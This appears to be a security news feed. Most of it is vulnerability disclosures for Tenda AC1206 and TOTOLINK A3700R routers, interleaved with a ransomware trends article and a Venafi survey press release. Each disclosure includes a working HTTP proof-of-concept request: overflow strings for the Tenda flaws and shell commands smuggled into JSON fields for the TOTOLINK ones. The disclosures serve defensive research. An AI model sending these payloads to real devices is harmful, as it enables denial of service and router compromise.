Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the list parameter at the function formSetQosBand.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetQosBand function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formSetQosBand function, list (the value of list) we entered will be passed into the setQosMiblist function as a parameter, and this function has stack overflow.

In the setQosMiblist function,the qos_str (the value of list) is formatted using the sscanf function and in the form of ;%[^;];%[^;];%[^;];%[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of limit_en、mac、 tmp_urate or tmp_drate, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetNetControlList HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    list=;a;b;c;dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37801: vuln/Tenda/AC1206/9 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the page parameter in the function fromNatStaticSetting.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromNatStaticSetting function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromNatStaticSetting function,the page we entered (the value of page) is formatted with the sprintf function, spliced with %s strings, and saved to gotopage. It is not secure, as long as the size of the data we enter is larger than the size of gotopage, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/NatStaticSetting HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37802: vuln/Tenda/AC1206/6 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the page parameter in the function fromAddressNat.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromAddressNat function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromAddressNat function,the page we entered (the value of page) is formatted with the sprintf function, spliced with %s strings, and saved to gotopage. It is not secure, as long as the size of the data we enter is larger than the size of gotopage, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/addressNat HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37803: vuln/Tenda/AC1206/8 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the time parameter in the function saveParentControlInfo.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the saveParentControlInfo function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the saveParentControlInfo function,time(the value of time) we entered is formatted using the sscanf function and in the form of %[^-]-%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of starttime or endtime, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/saveParentControlInfo HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 340
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    time=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-bbb
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37804: vuln/Tenda/AC1206/3 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function fromWizardHandle.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromWizardHandle function. An attacker can obtain a stable root shell through a carefully constructed payload.

When wanflag > = wanport and want=2, we can reach the vulnerable branch.

Stack overflow vulnerability occurs in the decodepwd function.

The decodepwd function is equivalent to copying data from and filtering "/" symbols.As long as the pppoepwd(the value of PPW) we enter exceeds the size of the decode_pwd array, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/WizardHandle HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 12
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    WANS=0&WANT=2&PPW=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

Finally, you also can write exp to get a stable root shell.

CVE-2022-37805: vuln/Tenda/AC1206/1 at main · Darry-lang1/vuln

As cryptocurrency valuations make strikes less lucrative, ransomware gangs like the new RedAlert and Monster groups are modifying their tools to attack across platforms.

Two emerging ransomware gangs, known as RedAlert and Monster, have adopted cross-platform capabilities to make attacks easier to execute against multiple operating systems and environments. It's a shining example of a snowballing trend toward multiplatform ransomware attacks, for which defenders need to gear up.

One of the new threat groups, referred to as RedAlert or N13V, creates executables in a Linux-specific version of C, and also supports VMware's enterprise-class ESXi hypervisor. The other threat group, Monster, uses an older cross-platform language, Delphi, which makes it easy to tailor the attack for a specific victim's configuration.

The ability to impact a variety of client operating systems within a single victim's environment started gaining steam in 2021, according to an advisory from Kaspersky published on Thursday. The Conti group, for example, allows affiliates to access a Linux variant of its ransomware, which also allows targeting of systems running VMware's ESXi hypervisor.

**Deploy Once, Affect Many**

There are several reasons for the trend: For one, it cuts down on labor. Attackers need only to write a certain program functionality once, and are then be able to use the resulting code to script the attacks against multiple targets, Kaspersky's advisory stated.

"We've gotten quite used to the ransomware groups deploying malware written in cross-platform language," Jornt van der Wiel, senior security researcher at Kaspersky's Global Research and Analysis Team, said in a statement. "These days, cybercriminals \[have\] learned to adjust their malicious code written in plain programming languages for joint attacks, making security specialists elaborate on ways to detect and prevent the ransomware attempts."

Other benefits to cross-platform attacks is the ability to hamper analysis, plus the ability to customize attacks to specific victim environments. Groups can use command lines to customize an attack to prevent code from running on ESXi environments, for instance — or conversely, to focus on certain kinds of client virtual machines.

"Recently, their goal is to damage as many systems as possible by adapting their malware code to several OS at the time," Kaspersky stated in its blog post on 2022 ransomware trends. "\[But\] there are a few other reasons to use a cross-platform language." 

Kaspersky also noted that ransomware gangs are getting better and better at adapting n-day exploits, which it dubbed "1-day" exploits, to multiplatform attacks. N-days refer to just-reported vulnerabilities that cybercriminals race to exploit before companies have time to patch them.

"\[Such broad functionality\] is something we usually see in commercial exploits," the company said, noting that one of the two exploits covered in its latest advisory was used "in the wild" during an attack on a large retailer in the Asia-Pacific region.

The move to cross-platform is borne out of necessity, researchers said. In the first half of 2022, as the value of cryptocurrencies plummeted, ransomware attacks declined, with cybersecurity firm Arctic Wolf reporting a drop of about a quarter. While the trend did not hold for other cybercrimes, such as investment scams and business email compromises, the headwinds for ransomware groups meant that threat actors have had to find ways to increase their success.

**Rust and GoLang Gain Steam for Ransomware Coding**

A common way that groups have tackled the process of adding cross-platform capabilities is to write the code in a language that supports other platforms, such as Rust or Golang, Kaspersky noted in its Aug. 24 advisory.   

The BlackCat ransomware program, for instance, is written in Rust, a successor to C, which has gained traction because of its improved security features. 

"Due to Rust cross-compilation capabilities, it did not take \[a\] long time for us to find BlackCat samples that work on Linux as well," Kaspersky said in the advisory. "The Linux sample of BlackCat is very similar to the Windows one."

Ransomware written in Rust and Go also make analysis harder for malware researchers, since tools to analyze those languages are not as sophisticated as analyzing programs written in the common C programming language, Kaspersky noted.

More Bang for the Buck: Cross-Platform Ransomware Is the Next Problem

According to new Venafi research, two-thirds of organizations have changed cyber strategy in response to war in Ukraine.

**SALT LAKE CITY, Aug. 24, 2022 —** Venafi®, the inventor and leading provider of machine identity management, today announced the findings of new research that evaluates the security impact of the increasing number of nation-state attacks and recent shifts in geopolitics. Venafi research into the methods used by nation-state threat actors shows the use of machine identities is growing in state-sponsored cyberattacks.

The study of over 1,100 security decision makers (SDMs) globally found that 66% of organizations have changed their cybersecurity strategy as a direct response to the conflict between Russia and Ukraine, while nearly two-thirds (64%) suspect their organization has been either directly targeted or impacted by a nation-state cyberattack.

Other key findings from the research include:

*   77% believe we're in a perpetual state of cyberwar
*   82% believe geopolitics and cybersecurity are intrinsically linked
*   More than two-thirds (68%) have had more conversations with their board and senior management in response to the Russia/Ukraine conflict
*   63% doubt they'd ever know if their organization was hacked by a nation-state
*   64% think the threat of physical war is a greater concern in their country than cyberwar

"Cyberwar is here. It doesn't look the way some people may have imagined it would, but security professionals understand that any business can be damaged by nation-states. The reality is that geopolitics and kinetic warfare now must inform cybersecurity strategy," said Kevin Bocek, vice president, security strategy and threat intelligence at Venafi**.** "We've known for years that state-backed APT groups are using cybercrime to advance their nations' wider political and economic goals. Everyone is a target, and unlike a kinetic warfare attack, only you can defend your business against nation-state cyberattacks. There is no cyber-Iron Dome or cyber-NORAD. Every CEO and board must recognize that cybersecurity is one of the top three business risks for everyone, regardless of industry."

Venafi research has also found that Chinese APT groups are conducting cyber espionage to advance China's international intelligence, while North Korean groups are funneling the proceeds of cybercrime directly to their country's weapons programs. The SolarWinds attack — which compromised thousands of companies by exploiting machine identities to create backdoors and gain trusted access to key assets — is a prime example of the scale and scope of nation-state attacks that leverage compromised machine identities. Russia's recent HermeticWiper attack, which breached numerous Ukrainian entities just days before Russia's invasion of the country, used code signing certificates to authenticate malware in a recent example of machine identity abuse by nation-state actors.

The digital certificates and cryptographic keys that serve as machine identities are the foundation of security for all digital transactions. Machine identities are used by everything from physical devices to software to communicate securely. The only way to reduce risks of machine identity abuse commonly used by nation-state attackers is through a control plane that provides observability, governance and reliability.

"Nation-state attacks are highly sophisticated, and they often use techniques that haven't been seen before. This makes them extremely difficult to defend against if protections aren't in place before they happen," continued Bocek. "Because machine identities are regularly used as part of the kill chain in nation-state attacks, every organization needs to step up their game. Exploiting machine identities is becoming the modus operandi for nation-state attackers."

For more information about this research, please read the blog.

**About the research**

Conducted by Sapio in July 2022, Venafi's study evaluated the opinions of 1,101 security decision makers across the United States, United Kingdom, France, Germany, Benelux (Belgium, Netherlands, Luxembourg) and Australia.

**About Venafi**

Venafi is the cybersecurity market leader in machine identity management. From the ground to the cloud, Venafi solutions manage and protect identities for all types of machines — from physical and IoT devices to software applications, APIs and containers. Venafi provides global visibility, life cycle automation and actionable intelligence for all machine identity types and the security and reliability risks associated with them.

Jetstack, a Venafi company, is a cloud native products and strategic consulting company working with enterprises using Kubernetes and OpenShift.

An open source pioneer, Jetstack has achieved notable industry recognition as the creator of cert-manager, the open source industry standard for cloud native machine identity management. Jetstack's open source products and solutions protect the application environments and platform infrastructure of global banks, multinational retailing companies and defense organizations by providing enterprise platform and security teams the power to build, scale and secure their cloud infrastructure.

With more than 30 patents, Venafi delivers innovative machine identity management solutions for the world's most demanding, security-conscious organizations and government agencies, including the top five U.S. health insurers; the top five U.S. airlines; the top four credit card issuers; three out of the four top accounting and consulting firms; four of the five top U.S. retailers; and the top four banks in each of the following countries: the U.S., the U.K., Australia and South Africa.

For more information, visit www.venafi.com and www.jetstack.io.

The (Nation) State of Cyber: 64% of Businesses Suspect They've Been Targeted or Impacted by Nation-State Attacks

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the hostName parameter in the function setOpModeCfg.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setOpModeCfg.This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

By calling these functions, we can ultimately call sub\_4241E0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch.V48 passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"hostName":"admin';ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36461: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the host_time parameter in the function NTPSyncWithHost.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in NTPSyncWithHost.This vulnerability allows an attacker to execute arbitrary commands through the "host\_time" parameter.

Var passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"host_time":"2022-07-19 22:24:46';ps;'","topicurl":"NTPSyncWithHost"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36459: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the command parameter in the function setTracerouteCfg.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

Tag

#mac